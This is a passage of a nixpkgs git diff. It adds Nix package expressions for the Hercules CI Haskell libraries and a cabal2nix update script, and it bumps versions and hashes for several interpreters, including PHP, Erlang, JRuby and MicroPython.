b/pkgs/development/haskell-modules/hotfixes/hercules-ci-agent.nix @@ -0,0 +1,66 @@ +{ mkDerivation, aeson, async, attoparsec, base, base64-bytestring +, bifunctors, binary, binary-conduit, boost, bytestring, Cabal +, cabal-pkg-config-version-hook, cachix, cachix-api, conduit +, conduit-extra, containers, directory, dlist, exceptions, filepath +, hercules-ci-api, hercules-ci-api-agent, hercules-ci-api-core +, hercules-ci-cnix-expr, hercules-ci-cnix-store, hostname, hspec +, hspec-discover, http-client, http-client-tls, http-conduit, HUnit +, inline-c, inline-c-cpp, katip, lens, lens-aeson, lib +, lifted-async, lifted-base, monad-control, mtl, network +, network-uri, nix, optparse-applicative, process, process-extras +, profunctors, protolude, QuickCheck, safe-exceptions, scientific +, servant, servant-auth-client, servant-client, servant-client-core +, stm, tagged, temporary, text, time, tls, tomland, transformers +, transformers-base, unbounded-delays, unix, unliftio +, unliftio-core, unordered-containers, uuid, vector, websockets +, wuss +}: +mkDerivation { + pname = "hercules-ci-agent"; + version = "0.10.1"; + sha256 = "a87e1b9ee650c493137d98370df8b3a9d842eea5b3a4c935c34275267ccf94d5"; + isLibrary = true; + isExecutable = true; + enableSeparateDataOutput = true; + setupHaskellDepends = [ base Cabal cabal-pkg-config-version-hook ]; + libraryHaskellDepends = [ + aeson async base binary binary-conduit bytestring conduit + containers directory dlist exceptions filepath + hercules-ci-api-agent hercules-ci-api-core hercules-ci-cnix-expr + hercules-ci-cnix-store katip lens lens-aeson lifted-async + lifted-base monad-control mtl network network-uri process + process-extras protolude safe-exceptions stm tagged temporary text + time tls transformers transformers-base unbounded-delays unix + unliftio unliftio-core uuid vector websockets wuss + ]; + executableHaskellDepends = [ + aeson async attoparsec base base64-bytestring bifunctors binary + binary-conduit bytestring cachix cachix-api conduit conduit-extra + containers directory dlist exceptions filepath hercules-ci-api + hercules-ci-api-agent hercules-ci-api-core hercules-ci-cnix-expr + hercules-ci-cnix-store hostname http-client http-client-tls + http-conduit inline-c inline-c-cpp katip lens lens-aeson + lifted-async lifted-base monad-control mtl network network-uri + optparse-applicative process process-extras profunctors protolude + safe-exceptions scientific servant servant-auth-client + servant-client servant-client-core stm temporary text time tomland + transformers transformers-base unix unliftio unliftio-core + unordered-containers uuid vector websockets wuss + ]; + executableSystemDepends = [ boost ]; + executablePkgconfigDepends = [ nix ]; + testHaskellDepends = [ + aeson async attoparsec base bifunctors binary binary-conduit + bytestring conduit containers exceptions filepath + hercules-ci-api-agent hercules-ci-api-core hercules-ci-cnix-store + hspec HUnit katip lens lens-aeson lifted-async lifted-base + monad-control mtl process profunctors protolude QuickCheck + safe-exceptions scientific stm tagged temporary text tomland + transformers transformers-base unliftio-core unordered-containers + uuid vector + ]; + testToolDepends = [ hspec-discover ]; + homepage = "https://docs.hercules-ci.com"; + description = "Runs Continuous Integration tasks on your machines"; + license = lib.licenses.asl20; +} diff --git a/pkgs/development/haskell-modules/hotfixes/hercules-ci-api-agent.nix b/pkgs/development/haskell-modules/hotfixes/hercules-ci-api-agent.nix new file mode 100644 index 0000000000000..8a06331f97723 --- /dev/null +++ b/pkgs/development/haskell-modules/hotfixes/hercules-ci-api-agent.nix @@ -0,0 +1,27 @@ +{ mkDerivation, aeson, base, base64-bytestring-type, bytestring +, containers, cookie, deepseq, exceptions, hashable +, hercules-ci-api-core, hspec, http-api-data, http-media, lens +, lens-aeson, lib, memory, network-uri, profunctors, QuickCheck +, quickcheck-classes, servant, servant-auth, string-conv, swagger2 +, text, time, unordered-containers, uuid, vector +}: +mkDerivation { + pname = "hercules-ci-api-agent"; + version = "0.5.1.0"; + sha256 = "4d98e5a3824b09e3989251787dc0e3c9724011282eec343065c70ba9f1565ee6"; + libraryHaskellDepends = [ + aeson base base64-bytestring-type bytestring containers cookie + deepseq exceptions hashable hercules-ci-api-core http-api-data + http-media lens lens-aeson memory servant servant-auth string-conv + swagger2 text time unordered-containers uuid vector + ]; + testHaskellDepends = [ + aeson base bytestring containers cookie exceptions hashable + hercules-ci-api-core hspec http-api-data http-media lens memory + network-uri profunctors QuickCheck quickcheck-classes servant + servant-auth string-conv swagger2 text time uuid vector + ]; + homepage = "https://github.com/hercules-ci/hercules-ci-agent#readme"; + description = "API definition for Hercules CI Agent to talk to hercules-ci.com or Hercules CI Enterprise"; + license = lib.licenses.asl20; +} diff --git a/pkgs/development/haskell-modules/hotfixes/hercules-ci-api-core.nix b/pkgs/development/haskell-modules/hotfixes/hercules-ci-api-core.nix new file mode 100644 index 0000000000000..af8c476a89977 --- /dev/null +++ b/pkgs/development/haskell-modules/hotfixes/hercules-ci-api-core.nix @@ -0,0 +1,22 @@ +{ mkDerivation, aeson, base, bytestring, containers, cookie +, deepseq, exceptions, hashable, http-api-data, http-media, katip +, lens, lib, lifted-base, memory, monad-control, openapi3 +, safe-exceptions, servant, servant-auth, servant-auth-swagger +, servant-openapi3, servant-swagger, servant-swagger-ui-core +, string-conv, swagger2, text, time, uuid +}: +mkDerivation { + pname = "hercules-ci-api-core"; + version = "0.1.6.0"; + sha256 = "0707c0792223993de583d42144a9e55fb510e6436a67d130d800df23457a1d93"; + libraryHaskellDepends = [ + aeson base bytestring containers cookie deepseq exceptions hashable + http-api-data http-media katip lens lifted-base memory + monad-control openapi3 safe-exceptions servant servant-auth + servant-auth-swagger servant-openapi3 servant-swagger + servant-swagger-ui-core string-conv swagger2 text time uuid + ]; + homepage = "https://github.com/hercules-ci/hercules-ci-agent#readme"; + description = "Types and convenience modules use across Hercules CI API packages"; + license = lib.licenses.asl20; +} diff --git a/pkgs/development/haskell-modules/hotfixes/hercules-ci-api.nix b/pkgs/development/haskell-modules/hotfixes/hercules-ci-api.nix new file mode 100644 index 0000000000000..035a0d35ac678 --- /dev/null +++ b/pkgs/development/haskell-modules/hotfixes/hercules-ci-api.nix @@ -0,0 +1,39 @@ +{ mkDerivation, aeson, base, bytestring, containers, cookie +, exceptions, hashable, hercules-ci-api-core, hspec, http-api-data +, http-media, lens, lens-aeson, lib, memory, network-uri, openapi3 +, profunctors, protolude, QuickCheck, quickcheck-classes, servant +, servant-auth, servant-auth-swagger, servant-openapi3 +, servant-swagger, servant-swagger-ui-core, string-conv, swagger2 +, text, time, uuid, vector +}: +mkDerivation { + pname = "hercules-ci-api"; + version = "0.8.2.0"; + sha256 = "d7e5c0f92c614d0251e11aed56544989c612dd2311dc5b6e7b3fa727c187d256"; + isLibrary = true; + isExecutable = true; + libraryHaskellDepends = [ + aeson base bytestring containers cookie exceptions hashable + hercules-ci-api-core http-api-data http-media lens lens-aeson + memory network-uri openapi3 profunctors servant servant-auth + servant-auth-swagger servant-openapi3 servant-swagger + servant-swagger-ui-core string-conv swagger2 text time uuid + ]; + executableHaskellDepends = [ + aeson base bytestring containers cookie exceptions hashable + http-api-data http-media lens memory network-uri openapi3 + profunctors servant servant-auth servant-auth-swagger + servant-openapi3 servant-swagger servant-swagger-ui-core + string-conv swagger2 text time uuid + ]; + testHaskellDepends = [ + aeson base bytestring containers exceptions hashable + hercules-ci-api-core hspec http-api-data http-media protolude + QuickCheck quickcheck-classes servant servant-auth string-conv text + time uuid vector + ]; + homepage = "https://github.com/hercules-ci/hercules-ci-agent#readme"; + description = "Hercules CI API definition with Servant"; + license = lib.licenses.asl20; + mainProgram = "hercules-gen-swagger"; +} diff --git a/pkgs/development/haskell-modules/hotfixes/hercules-ci-cli.nix b/pkgs/development/haskell-modules/hotfixes/hercules-ci-cli.nix new file mode 100644 index 0000000000000..a6be05edfbee6 --- /dev/null +++ b/pkgs/development/haskell-modules/hotfixes/hercules-ci-cli.nix @@ -0,0 +1,43 @@ +{ mkDerivation, aeson, aeson-pretty, async, atomic-write +, attoparsec, base, bytestring, conduit, containers, data-has +, directory, exceptions, filepath, hercules-ci-agent +, hercules-ci-api, hercules-ci-api-agent, hercules-ci-api-core +, hercules-ci-cnix-expr, hercules-ci-cnix-store +, hercules-ci-optparse-applicative, hostname, hspec, http-client +, http-client-tls, http-types, inline-c-cpp, katip, lens +, lens-aeson, lib, lifted-base, monad-control, network-uri, process +, protolude, QuickCheck, retry, rio, safe-exceptions, servant +, servant-auth-client, servant-client, servant-client-core +, servant-conduit, temporary, text, tls, transformers +, transformers-base, unix, unliftio, unliftio-core +, unordered-containers, uuid +}: +mkDerivation { + pname = "hercules-ci-cli"; + version = "0.3.7"; + sha256 = "bf0a7d9dc26eaff45a1b61f43bef5fb43a8d546b12083f37d450c5b8a7449ec0"; + isLibrary = true; + isExecutable = true; + libraryHaskellDepends = [ + aeson aeson-pretty async atomic-write attoparsec base bytestring + conduit containers data-has directory exceptions filepath + hercules-ci-agent hercules-ci-api hercules-ci-api-agent + hercules-ci-api-core hercules-ci-cnix-expr hercules-ci-cnix-store + hercules-ci-optparse-applicative hostname http-client + http-client-tls http-types inline-c-cpp katip lens lens-aeson + lifted-base monad-control network-uri process protolude retry rio + safe-exceptions servant servant-auth-client servant-client + servant-client-core servant-conduit temporary text tls transformers + transformers-base unix unliftio unliftio-core unordered-containers + uuid + ]; + executableHaskellDepends = [ base ]; + testHaskellDepends = [ + aeson base bytestring containers hspec protolude QuickCheck + unordered-containers + ]; + homepage = "https://docs.hercules-ci.com"; + description = "The hci command for working with Hercules CI"; + license = lib.licenses.asl20; + mainProgram = "hci"; +} diff --git a/pkgs/development/haskell-modules/hotfixes/hercules-ci-cnix-expr.nix b/pkgs/development/haskell-modules/hotfixes/hercules-ci-cnix-expr.nix new file mode 100644 index 0000000000000..c2a0c803beaea --- /dev/null +++ b/pkgs/development/haskell-modules/hotfixes/hercules-ci-cnix-expr.nix @@ -0,0 +1,30 @@ +{ mkDerivation, aeson, base, boost, bytestring, Cabal +, cabal-pkg-config-version-hook, conduit, containers, directory +, exceptions, filepath, hercules-ci-cnix-store, hspec +, hspec-discover, inline-c, inline-c-cpp, lib, nix, process +, protolude, QuickCheck, scientific, temporary, text, unliftio +, unordered-containers, vector +}: +mkDerivation { + pname = "hercules-ci-cnix-expr"; + version = "0.3.6.1"; + sha256 = "f967e0da57a7aabef256d8843171df51988690036af866537e29ac6ebde76aa5"; + enableSeparateDataOutput = true; + setupHaskellDepends = [ base Cabal cabal-pkg-config-version-hook ]; + libraryHaskellDepends = [ + aeson base bytestring conduit containers directory exceptions + filepath hercules-ci-cnix-store inline-c inline-c-cpp protolude + scientific text unliftio unordered-containers vector + ]; + librarySystemDepends = [ boost ]; + libraryPkgconfigDepends = [ nix ]; + testHaskellDepends = [ + aeson base bytestring containers filepath hercules-ci-cnix-store + hspec process protolude QuickCheck scientific temporary text + unordered-containers vector + ]; + testToolDepends = [ hspec-discover ]; + homepage = "https://docs.hercules-ci.com"; + description = "Bindings for the Nix evaluator"; + license = lib.licenses.asl20; +} diff --git a/pkgs/development/haskell-modules/hotfixes/hercules-ci-cnix-store.nix b/pkgs/development/haskell-modules/hotfixes/hercules-ci-cnix-store.nix new file mode 100644 index 0000000000000..7c3ab95589895 --- /dev/null +++ b/pkgs/development/haskell-modules/hotfixes/hercules-ci-cnix-store.nix @@ -0,0 +1,26 @@ +{ mkDerivation, base, boost, bytestring, Cabal +, cabal-pkg-config-version-hook, conduit, containers, exceptions +, hspec, hspec-discover, inline-c, inline-c-cpp, lib, nix +, protolude, template-haskell, temporary, text, unix, unliftio-core +, vector +}: +mkDerivation { + pname = "hercules-ci-cnix-store"; + version = "0.3.5.0"; + sha256 = "395a311514ab5121bf71adc0f67a53b152a091114725fb750c08767a047c7280"; + setupHaskellDepends = [ base Cabal cabal-pkg-config-version-hook ]; + libraryHaskellDepends = [ + base bytestring conduit containers inline-c inline-c-cpp protolude + template-haskell unix unliftio-core vector + ]; + librarySystemDepends = [ boost ]; + libraryPkgconfigDepends = [ nix ]; + testHaskellDepends = [ + base bytestring containers exceptions hspec inline-c inline-c-cpp + protolude temporary text + ]; + testToolDepends = [ hspec-discover ]; + homepage = "https://docs.hercules-ci.com"; + description = "Haskell bindings for Nix's libstore"; + license = lib.licenses.asl20; +} diff --git a/pkgs/development/haskell-modules/hotfixes/openapi3.nix b/pkgs/development/haskell-modules/hotfixes/openapi3.nix new file mode 100644 index 0000000000000..0f95b566d5a0e --- /dev/null +++ b/pkgs/development/haskell-modules/hotfixes/openapi3.nix @@ -0,0 +1,37 @@ +{ mkDerivation, aeson, aeson-pretty, base, base-compat-batteries +, bytestring, Cabal, cabal-doctest, containers, cookie, doctest +, generics-sop, Glob, hashable, hspec, hspec-discover, http-media +, HUnit, insert-ordered-containers, lens, lib, mtl, optics-core +, optics-th, QuickCheck, quickcheck-instances, scientific +, template-haskell, text, time, transformers, unordered-containers +, utf8-string, uuid-types, vector +}: +mkDerivation { + pname = "openapi3"; + version = "3.2.4"; + sha256 = "dbcb90464b4712a03c37fa3fcaca3a6784ace2794d85730a8a8c5d9b3ea14ba0"; + revision = "1"; + editedCabalFile = "08ikd506fxz3pllg5w8lx9yn9qfqlx9il9xwzz7s17yxn5k3xmnk"; + isLibrary = true; + isExecutable = true; + setupHaskellDepends = [ base Cabal cabal-doctest ]; + libraryHaskellDepends = [ + aeson aeson-pretty base base-compat-batteries bytestring containers + cookie generics-sop hashable http-media insert-ordered-containers + lens mtl optics-core optics-th QuickCheck scientific + template-haskell text time transformers unordered-containers + uuid-types vector + ]; + executableHaskellDepends = [ aeson base lens text ]; + testHaskellDepends = [ + aeson base base-compat-batteries bytestring containers doctest Glob + hashable hspec HUnit insert-ordered-containers lens mtl QuickCheck + quickcheck-instances template-haskell text time + unordered-containers utf8-string vector + ]; + testToolDepends = [ hspec-discover ]; + homepage = "https://github.com/biocad/openapi3"; + description = "OpenAPI 3.0 data model"; + license = lib.licenses.bsd3; + mainProgram = "example"; +} diff --git a/pkgs/development/haskell-modules/hotfixes/update.sh b/pkgs/development/haskell-modules/hotfixes/update.sh new file mode 100755 index 0000000000000..beea2a81a9ccd --- /dev/null +++ b/pkgs/development/haskell-modules/hotfixes/update.sh @@ -0,0 +1,10 @@ +#!/usr/bin/env bash +cd "$(dirname "${BASH_SOURCE[0]}")" +cabal2nix cabal://hercules-ci-agent >hercules-ci-agent.nix +cabal2nix cabal://hercules-ci-api >hercules-ci-api.nix +cabal2nix cabal://hercules-ci-api-agent >hercules-ci-api-agent.nix +cabal2nix cabal://hercules-ci-api-core >hercules-ci-api-core.nix +cabal2nix cabal://hercules-ci-cli >hercules-ci-cli.nix +cabal2nix cabal://hercules-ci-cnix-expr >hercules-ci-cnix-expr.nix +cabal2nix cabal://hercules-ci-cnix-store >hercules-ci-cnix-store.nix +cabal2nix cabal://openapi3 >openapi3.nix diff --git a/pkgs/development/haskell-modules/non-hackage-packages.nix b/pkgs/development/haskell-modules/non-hackage-packages.nix index f78e333ae1d78..576a0761301e9 100644 --- a/pkgs/development/haskell-modules/non-hackage-packages.nix +++ b/pkgs/development/haskell-modules/non-hackage-packages.nix @@ -1,3 +1,5 @@ +{ pkgs, haskellLib }: + # EXTRA HASKELL PACKAGES NOT ON HACKAGE # # This file should only contain packages that are not in ./hackage-packages.nix. @@ -39,4 +41,13 @@ self: super: { # cabal2nix --maintainer roberth https://github.com/hercules-ci/optparse-applicative.git > pkgs/development/misc/haskell/hercules-ci-optparse-applicative.nix hercules-ci-optparse-applicative = self.callPackage ../misc/haskell/hercules-ci-optparse-applicative.nix {}; + # Hotfixes + hercules-ci-agent = self.callPackage ./hotfixes/hercules-ci-agent.nix {}; + hercules-ci-api = self.callPackage ./hotfixes/hercules-ci-api.nix {}; + hercules-ci-api-agent = self.callPackage ./hotfixes/hercules-ci-api-agent.nix {}; + hercules-ci-api-core = self.callPackage ./hotfixes/hercules-ci-api-core.nix {}; + hercules-ci-cli = self.callPackage ./hotfixes/hercules-ci-cli.nix {}; + hercules-ci-cnix-expr = self.callPackage ./hotfixes/hercules-ci-cnix-expr.nix {}; + hercules-ci-cnix-store = self.callPackage ./hotfixes/hercules-ci-cnix-store.nix {}; + openapi3 = self.callPackage ./hotfixes/openapi3.nix {}; } diff --git a/pkgs/development/interpreters/babashka/default.nix b/pkgs/development/interpreters/babashka/default.nix index 99528c2d76399..9844920366c7b 100644 --- a/pkgs/development/interpreters/babashka/default.nix +++ b/pkgs/development/interpreters/babashka/default.nix @@ -9,11 +9,11 @@ let babashka-unwrapped = buildGraalvmNativeImage rec { pname = "babashka-unwrapped"; - version = "1.3.188"; + version = "1.3.189"; src = fetchurl { url = "https://github.com/babashka/babashka/releases/download/v${version}/babashka-${version}-standalone.jar"; - sha256 = "sha256-EjsSUPWiLQcCos2oyVXt3VzLlGEfiXK5CqJZ1NMvF/E="; + sha256 = "sha256-C3N++tTTvebtQid3p+zrnBgHTqQmECQhiS2/3VIEojI="; }; graalvmDrv = graalvmCEPackages.graalvm-ce; diff --git a/pkgs/development/interpreters/bats/libraries.nix b/pkgs/development/interpreters/bats/libraries.nix index a7d5e2b87747b..9ee0942e7e69f 100644 --- a/pkgs/development/interpreters/bats/libraries.nix +++ b/pkgs/development/interpreters/bats/libraries.nix @@ -53,12 +53,12 @@ bats-detik = stdenv.mkDerivation (finalAttrs: { pname = "bats-detik"; - version = "1.2.1"; + version = "1.3.0"; src = fetchFromGitHub { owner = "bats-core"; repo = "bats-detik"; rev = "v${finalAttrs.version}"; - hash = "sha256-2BEIqRSc21oPjd9BgTLg5mGyAdNJYA2b7gZe7Nj2dks="; + hash = "sha256-cbWNZ9a/Q9reJLQxUyTdqfLykOJcJKnoKB123ao8/xM="; }; dontBuild = true; installPhase = '' diff --git a/pkgs/development/interpreters/cel-go/default.nix b/pkgs/development/interpreters/cel-go/default.nix index 60d0586e094ed..88d0b19fc0a47 100644 --- a/pkgs/development/interpreters/cel-go/default.nix +++ b/pkgs/development/interpreters/cel-go/default.nix @@ -5,18 +5,18 @@ buildGoModule rec { pname = "cel-go"; - version = "0.19.0"; + version = "0.20.0"; src = fetchFromGitHub { owner = "google"; repo = "cel-go"; rev = "v${version}"; - hash = "sha256-r3xBg+8C3VZ3sHYKMyQoBVGe+puWdRO4q3e9bur9ZoY="; + hash = "sha256-rjhTKZ2d1jDby4tacLfbKJj0Y7F/KkECWAL/WsqJ6sg="; }; modRoot = "repl"; - vendorHash = "sha256-7WBom6FS/GX+pM3zv59BZOwmAIokKkZcN3yGbcQb09Q="; + vendorHash = "sha256-h+f/ILk6mDzRBW1FI1jFyWxkV3bvrJ/BMsCuuf+E+J0="; subPackages = [ "main" diff --git a/pkgs/development/interpreters/clisp/default.nix b/pkgs/development/interpreters/clisp/default.nix index 0ff0f6a498169..f6218ef8f3b21 100644 --- a/pkgs/development/interpreters/clisp/default.nix +++ b/pkgs/development/interpreters/clisp/default.nix @@ -126,6 +126,7 @@ stdenv.mkDerivation { meta = { description = "ANSI Common Lisp Implementation"; homepage = "http://clisp.org"; + mainProgram = "clisp"; maintainers = lib.teams.lisp.members; license = lib.licenses.gpl2Plus; platforms = with lib.platforms; linux ++ darwin; diff --git a/pkgs/development/interpreters/duktape/default.nix b/pkgs/development/interpreters/duktape/default.nix index c296d013e3d14..8477aef9ca43c 100644 --- a/pkgs/development/interpreters/duktape/default.nix +++ b/pkgs/development/interpreters/duktape/default.nix @@ -1,10 +1,10 @@ { lib, stdenv, fetchurl, validatePkgConfig }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "duktape"; version = "2.7.0"; src = fetchurl { - url = "http://duktape.org/duktape-${version}.tar.xz"; + url = "http://duktape.org/duktape-${finalAttrs.version}.tar.xz"; sha256 = "sha256-kPjS+otVZ8aJmDDd7ywD88J5YLEayiIvoXqnrGE8KJA="; }; @@ -38,4 +38,4 @@ stdenv.mkDerivation rec { mainProgram = "duk"; platforms = platforms.all; }; -} +}) diff --git a/pkgs/development/interpreters/erlang/24.nix b/pkgs/development/interpreters/erlang/24.nix index 175640601e9a8..4e7df413bb390 100644 --- a/pkgs/development/interpreters/erlang/24.nix +++ b/pkgs/development/interpreters/erlang/24.nix @@ -1,6 +1,6 @@ { mkDerivation }: mkDerivation { - version = "24.3.4.15"; - sha256 = "sha256-1a/5jxTLDWlQHEMfKZoAO3wrg1U0wYBf+xXhyO/EnXA="; + version = "24.3.4.16"; + sha256 = "sha256-oLfidJPgWTz7AsJz+C4adXnxcow8C/M828os6aB4Z/c="; } diff --git a/pkgs/development/interpreters/erlang/26.nix b/pkgs/development/interpreters/erlang/26.nix index bec804dcddcf4..2572268667255 100644 --- a/pkgs/development/interpreters/erlang/26.nix +++ b/pkgs/development/interpreters/erlang/26.nix @@ -1,6 +1,6 @@ { mkDerivation }: mkDerivation { - version = "26.2.2"; - sha256 = "sha256-7S+mC4pDcbXyhW2r5y8+VcX9JQXq5iEUJZiFmgVMPZ0="; + version = "26.2.3"; + sha256 = "sha256-nUvGLzZ1PFc3Z/kDb3jspCFWXxkGZrazvGIpxfFLcbc="; } diff --git a/pkgs/development/interpreters/expr/default.nix b/pkgs/development/interpreters/expr/default.nix index e81e56da9bf04..3d8ba33091be6 100644 --- a/pkgs/development/interpreters/expr/default.nix +++ b/pkgs/development/interpreters/expr/default.nix @@ -5,18 +5,18 @@ buildGoModule rec { pname = "expr"; - version = "1.16.0"; + version = "1.16.1"; src = fetchFromGitHub { owner = "antonmedv"; repo = "expr"; rev = "v${version}"; - hash = "sha256-GLh4NayAbqGXI0Ekkk3lXCRwpLwGLbJIo7WjDfpKDhI="; + hash = "sha256-OwxBzsIkKauaYTdDpgSEdVL4JhacMnIvBTgxvkAm9YA="; }; sourceRoot = "${src.name}/repl"; - vendorHash = "sha256-42kFO7kXIdqVrp2FQGELZ90OUobOp4zbdo533vresIw="; + vendorHash = "sha256-RE6qQmAlWuXFIMzkop/Dk7DqATUnQpJ8Z+U8ZZeUvOA="; ldflags = [ "-s" "-w" ]; diff --git a/pkgs/development/interpreters/jimtcl/default.nix b/pkgs/development/interpreters/jimtcl/default.nix index e478ff945472f..c5ea2f3ec026f 100644 --- a/pkgs/development/interpreters/jimtcl/default.nix +++ b/pkgs/development/interpreters/jimtcl/default.nix @@ -16,14 +16,14 @@ , SDLSupport ? true }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "jimtcl"; version = "0.82"; src = fetchFromGitHub { owner = "msteveb"; repo = "jimtcl"; - rev = version; + rev = finalAttrs.version; sha256 = "sha256-CDjjrxpoTbLESAbCiCjQ8+E/oJP87gDv9SedQOzH3QY="; }; @@ -77,4 +77,4 @@ stdenv.mkDerivation rec { platforms = lib.platforms.all; maintainers = with lib.maintainers; [ dbohdan fgaz vrthra ]; }; -} +}) diff --git a/pkgs/development/interpreters/jruby/default.nix b/pkgs/development/interpreters/jruby/default.nix index f1cc624b59e77..5f31e8ef29eea 100644 --- a/pkgs/development/interpreters/jruby/default.nix +++ b/pkgs/development/interpreters/jruby/default.nix @@ -6,11 +6,11 @@ let in stdenv.mkDerivation (finalAttrs: { pname = "jruby"; - version = "9.4.5.0"; + version = "9.4.6.0"; src = fetchurl { url = "https://s3.amazonaws.com/jruby.org/downloads/${finalAttrs.version}/jruby-bin-${finalAttrs.version}.tar.gz"; - hash = "sha256-pA94xGQczIZ1Lhay2iR/1ryfvPmkhkzxvjb3/3s1aEw="; + hash = "sha256-LaFN5BUrcf2/o1ukaHpG7xLNRldAM3tUnMH+bHwTmBM="; }; nativeBuildInputs = [ makeBinaryWrapper ]; diff --git a/pkgs/development/interpreters/lua-5/build-luarocks-package.nix b/pkgs/development/interpreters/lua-5/build-luarocks-package.nix index ea46fd107980c..97ac535c93036 100644 --- a/pkgs/development/interpreters/lua-5/build-luarocks-package.nix +++ b/pkgs/development/interpreters/lua-5/build-luarocks-package.nix @@ -51,9 +51,10 @@ # Appended to the generated luarocks config , extraConfig ? "" -# Inserted into the generated luarocks config in the "variables" table -, extraVariables ? {} -# The two above arguments have access to builder variables -- e.g. to $out + +# transparent mapping nix <-> lua used as LUAROCKS_CONFIG +# Refer to https://github.com/luarocks/luarocks/wiki/Config-file-format for specs +, luarocksConfig ? {} # relative to srcRoot, path to the rockspec to use when using rocks , rockspecFilename ? null @@ -92,7 +93,7 @@ let luarocks ]; - inherit doCheck extraVariables rockspecFilename knownRockspec externalDeps nativeCheckInputs; + inherit doCheck extraConfig rockspecFilename knownRockspec externalDeps nativeCheckInputs; buildInputs = let # example externalDeps': [ { name = "CRYPTO"; dep = pkgs.openssl; } ] @@ -116,9 +117,18 @@ let text = self.luarocks_content; }; - luarocks_content = let - externalDepsGenerated = lib.filter (drv: !drv ? luaModule) - (self.nativeBuildInputs ++ self.propagatedBuildInputs ++ self.buildInputs); + luarocks_content = + (lib.generators.toLua { asBindings = true; } self.luarocksConfig) + + '' + + ${self.extraConfig} + ''; + + # TODO make it the default variable + luarocksConfig = let + externalDepsGenerated = lib.filter (drv: !drv ? luaModule) + (self.nativeBuildInputs ++ self.propagatedBuildInputs ++ self.buildInputs); + generatedConfig = luaLib.generateLuarocksConfig { externalDeps = lib.unique (self.externalDeps ++ externalDepsGenerated); # Filter out the lua derivation itself from the Lua module dependency @@ -126,13 +136,17 @@ let # luaLib.hasLuaModule requiredLuaRocks = lib.filter luaLib.hasLuaModule (lua.pkgs.requiredLuaModules (self.nativeBuildInputs ++ self.propagatedBuildInputs)); - inherit (self) extraVariables rocksSubdir; + inherit (self) rocksSubdir; }; - in - '' - ${generatedConfig} - ${extraConfig} - ''; + + luarocksConfig' = lib.recursiveUpdate luarocksConfig + (lib.optionalAttrs (attrs ? extraVariables) (lib.warn "extraVariables in buildLuarocksPackage is deprecated, use luarocksConfig instead" + { + variables = attrs.extraVariables; + })) + ; + in lib.recursiveUpdate generatedConfig luarocksConfig'; + configurePhase = '' runHook preConfigure diff --git a/pkgs/development/interpreters/luau/default.nix b/pkgs/development/interpreters/luau/default.nix index a6ffd232fc0ba..8f1f854c5763b 100644 --- a/pkgs/development/interpreters/luau/default.nix +++ b/pkgs/development/interpreters/luau/default.nix @@ -1,16 +1,24 @@ -{ lib, stdenv, fetchFromGitHub, cmake, llvmPackages }: +{ lib, stdenv, fetchFromGitHub, cmake, llvmPackages, fetchpatch }: stdenv.mkDerivation rec { pname = "luau"; - version = "0.612"; + version = "0.615"; src = fetchFromGitHub { owner = "luau-lang"; repo = "luau"; rev = version; - hash = "sha256-m7HIQIF6hiSg7Ho+QxMGEpKeoF7I6OWnzJZKRPP4BcM="; + hash = "sha256-IwiPUiw3bH+9CzIAJqLjGpIBLQ+T0xW7c4jVXoxVZPc="; }; + patches = [ + # Fix linker errors. Remove with the next release. + (fetchpatch { + url = "https://github.com/luau-lang/luau/commit/9323be6110beda90ef9d9dcb43e49b9acdc224e5.patch"; + hash = "sha256-/uWXbv3ZSpGJ4Q9MYixz50o5HIp5keSaqMSlOq0TbzE="; + }) + ]; + nativeBuildInputs = [ cmake ]; buildInputs = lib.optionals stdenv.cc.isClang [ llvmPackages.libunwind ]; diff --git a/pkgs/development/interpreters/maude/default.nix b/pkgs/development/interpreters/maude/default.nix index 7c08b795d6a51..9ec93157c49a7 100644 --- a/pkgs/development/interpreters/maude/default.nix +++ b/pkgs/development/interpreters/maude/default.nix @@ -56,7 +56,6 @@ stdenv.mkDerivation { enableParallelBuilding = true; meta = { - broken = stdenv.isDarwin; homepage = "http://maude.cs.illinois.edu/"; description = "High-level specification language"; license = lib.licenses.gpl2Plus; diff --git a/pkgs/development/interpreters/micropython/default.nix b/pkgs/development/interpreters/micropython/default.nix index e97afb643c11d..6437e942ae344 100644 --- a/pkgs/development/interpreters/micropython/default.nix +++ b/pkgs/development/interpreters/micropython/default.nix @@ -9,13 +9,13 @@ stdenv.mkDerivation rec { pname = "micropython"; - version = "1.21.0"; + version = "1.22.2"; src = fetchFromGitHub { owner = "micropython"; repo = "micropython"; rev = "v${version}"; - sha256 = "sha256-nUQSj2grq4fNyqOZyYZfYvLwoEXI4PZCYdVXvxLGmPk="; + sha256 = "sha256-sdok17HvKub/sI+8cAIIDaLD/3mu8yXXqrTOej8/UfU="; fetchSubmodules = true; }; @@ -32,7 +32,7 @@ stdenv.mkDerivation rec { doCheck = true; - skippedTests = "" + skippedTests = " -e select_poll_fd" + lib.optionalString (stdenv.isDarwin && stdenv.isAarch64) " -e ffi_callback" + lib.optionalString (stdenv.isLinux && stdenv.isAarch64) " -e float_parse" ; @@ -49,6 +49,7 @@ stdenv.mkDerivation rec { runHook preInstall mkdir -p $out/bin install -Dm755 ports/unix/build-standard/micropython -t $out/bin + install -Dm755 mpy-cross/build/mpy-cross -t $out/bin runHook postInstall ''; diff --git a/pkgs/development/interpreters/php/8.2.nix b/pkgs/development/interpreters/php/8.2.nix index 2d2a705c30e57..d97170bae7a69 100644 --- a/pkgs/development/interpreters/php/8.2.nix +++ b/pkgs/development/interpreters/php/8.2.nix @@ -2,8 +2,8 @@ let base = callPackage ./generic.nix (_args // { - version = "8.2.15"; - hash = "sha256-UMPiILeqY6hXFiM8kC60TMCkZn7QuDNXIq4jkbE1Xno="; + version = "8.2.16"; + hash = "sha256-JljBuJNatrU6fyCTVGAnYasHBm5mkgvEcriBX9G0P3E="; }); in base.withExtensions ({ all, ... }: with all; ([ diff --git a/pkgs/development/interpreters/php/8.3.nix b/pkgs/development/interpreters/php/8.3.nix index 877bde775262a..ee2bf413a426a 100644 --- a/pkgs/development/interpreters/php/8.3.nix +++ b/pkgs/development/interpreters/php/8.3.nix @@ -2,8 +2,8 @@ let base = callPackage ./generic.nix (_args // { - version = "8.3.2"; - hash = "sha256-WCs8g3qNlS7//idKXklwbEOojBYoMMKow1gIn+dEkoQ="; + version = "8.3.3"; + hash = "sha256-qvthO6eVlKI/5yL46QrUczAGEL+A50uKpS2pysLcTio="; }); in base.withExtensions ({ all, ... }: with all; ([ diff --git 